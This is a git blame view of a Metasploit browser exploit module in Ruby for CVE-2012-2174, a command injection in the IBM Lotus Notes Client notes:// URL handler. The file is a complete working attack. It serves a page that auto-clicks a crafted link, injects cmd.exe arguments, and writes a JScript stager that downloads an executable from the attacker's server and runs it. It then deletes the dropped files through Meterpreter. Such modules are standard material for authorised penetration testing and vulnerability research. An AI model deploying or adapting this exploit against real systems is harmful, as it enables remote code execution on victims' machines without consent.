Files
metasploit-gs/modules/exploits/windows/browser/notes_handler_cmdinject.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

187 lines
6.0 KiB
Ruby
Raw Normal View History

2012-12-24 16:23:19 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-12-24 16:23:19 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-12-24 16:23:19 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "IBM Lotus Notes Client URL Handler Command Injection",
'Description' => %q{
2017-09-09 09:52:08 -04:00
This module exploits a command injection vulnerability in the URL handler for
2021-09-10 12:53:39 +01:00
for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
a specially crafted notes:// URL to execute arbitrary commands with also arbitrary
arguments. This module has been tested successfully on Windows XP SP3 with IE8,
Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
},
'License' => MSF_LICENSE,
'Author' => [
2012-12-24 16:23:19 +01:00
'Moritz Jodeit', # Vulnerability discovery
'Sean de Regge', # Vulnerability analysis
'juan vazquez' # Metasploit
],
2021-09-10 12:53:39 +01:00
'References' => [
2012-12-24 16:23:19 +01:00
[ 'CVE', '2012-2174' ],
[ 'OSVDB', '83063' ],
2012-12-24 16:23:19 +01:00
[ 'BID', '54070' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '12-154' ],
2012-12-24 16:23:19 +01:00
[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
],
2021-09-10 12:53:39 +01:00
'Payload' => {
'Space' => 2048,
2012-12-24 16:23:19 +01:00
'StackAdjustment' => -3500
},
2021-09-10 12:53:39 +01:00
'DefaultOptions' => {
'EXITFUNC' => "none",
2012-12-24 16:23:19 +01:00
'InitialAutoRunScript' => 'migrate -k -f'
},
2021-09-10 12:53:39 +01:00
'Platform' => 'win',
'Targets' => [
2012-12-24 16:23:19 +01:00
[ 'Automatic', {} ]
],
2021-09-10 12:53:39 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-06-18',
2021-10-06 13:43:31 +01:00
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_sys_config_getenv
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
2021-09-10 12:53:39 +01:00
]
)
2012-12-24 16:23:19 +01:00
end
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
def exploit
@exe_name = rand_text_alpha(2) + ".exe"
@stage_name = rand_text_alpha(2) + ".js"
super
end
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
2013-08-30 16:28:54 -05:00
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
2012-12-24 16:23:19 +01:00
begin
wintemp = session.sys.config.getenv('TEMP')
2012-12-24 16:23:19 +01:00
win_file = "#{wintemp}\\#{win_file}"
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end
end
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
def on_request_uri(cli, request)
if request.uri =~ /\.exe$/
2021-09-10 12:53:39 +01:00
return if ((p = regenerate_payload(cli)) == nil)
2012-12-24 16:23:19 +01:00
register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
2021-09-10 12:53:39 +01:00
data = generate_payload_exe({ :code => p.encoded })
2012-12-24 16:23:19 +01:00
print_status("Sending payload")
2021-09-10 12:53:39 +01:00
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
2012-12-24 16:23:19 +01:00
return
end
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
if datastore['SSL']
schema = "https"
else
schema = "http"
end
uri = "#{schema}://#{my_host}"
2021-09-10 12:53:39 +01:00
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.exe"
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
script = "var w=new ActiveXObject('wscript.shell');"
script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
script << "x.open('GET','#{uri}', false);"
script << "x.send();"
script << "var s=new ActiveXObject('ADODB.Stream');"
script << "s.Mode=3;"
script << "s.Type=1;"
script << "s.Open();"
script << "s.Write(x.responseBody);"
script << "s.SaveToFile('#{@exe_name}',2);"
script << "w.Run('#{@exe_name}');"
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
link_id = rand_text_alpha(5 + rand(5))
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
js_click_link = %Q|
function clickLink(link) {
var cancelled = false;
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
if (document.createEvent) {
var event = document.createEvent("MouseEvents");
event.initMouseEvent("click", true, true, window,
0, 0, 0, 0, 0,
false, false, false, false,
0, null);
cancelled = !link.dispatchEvent(event);
}
else if (link.fireEvent) {
cancelled = !link.fireEvent("onclick");
}
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
if (!cancelled) {
window.location = link.href;
}
}
|
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
if datastore['OBFUSCATE']
js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
js_click_link.obfuscate(memory_sensitive: true)
2012-12-24 16:23:19 +01:00
js_click_link_fn = js_click_link.sym('clickLink')
else
js_click_link_fn = 'clickLink'
end
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
html = <<-EOS
<html>
<head>
<script>
#{js_click_link}
</script>
</head>
<body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
2021-09-10 12:53:39 +01:00
<a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3 + rand(3))}/#{rand_text_alpha_lower(3 + rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
2012-12-24 16:23:19 +01:00
</body>
</html>
EOS
2013-08-30 16:28:54 -05:00
2012-12-24 16:23:19 +01:00
print_status("Sending html")
2021-09-10 12:53:39 +01:00
send_response(cli, html, { 'Content-Type' => 'text/html' })
2012-12-24 16:23:19 +01:00
end
end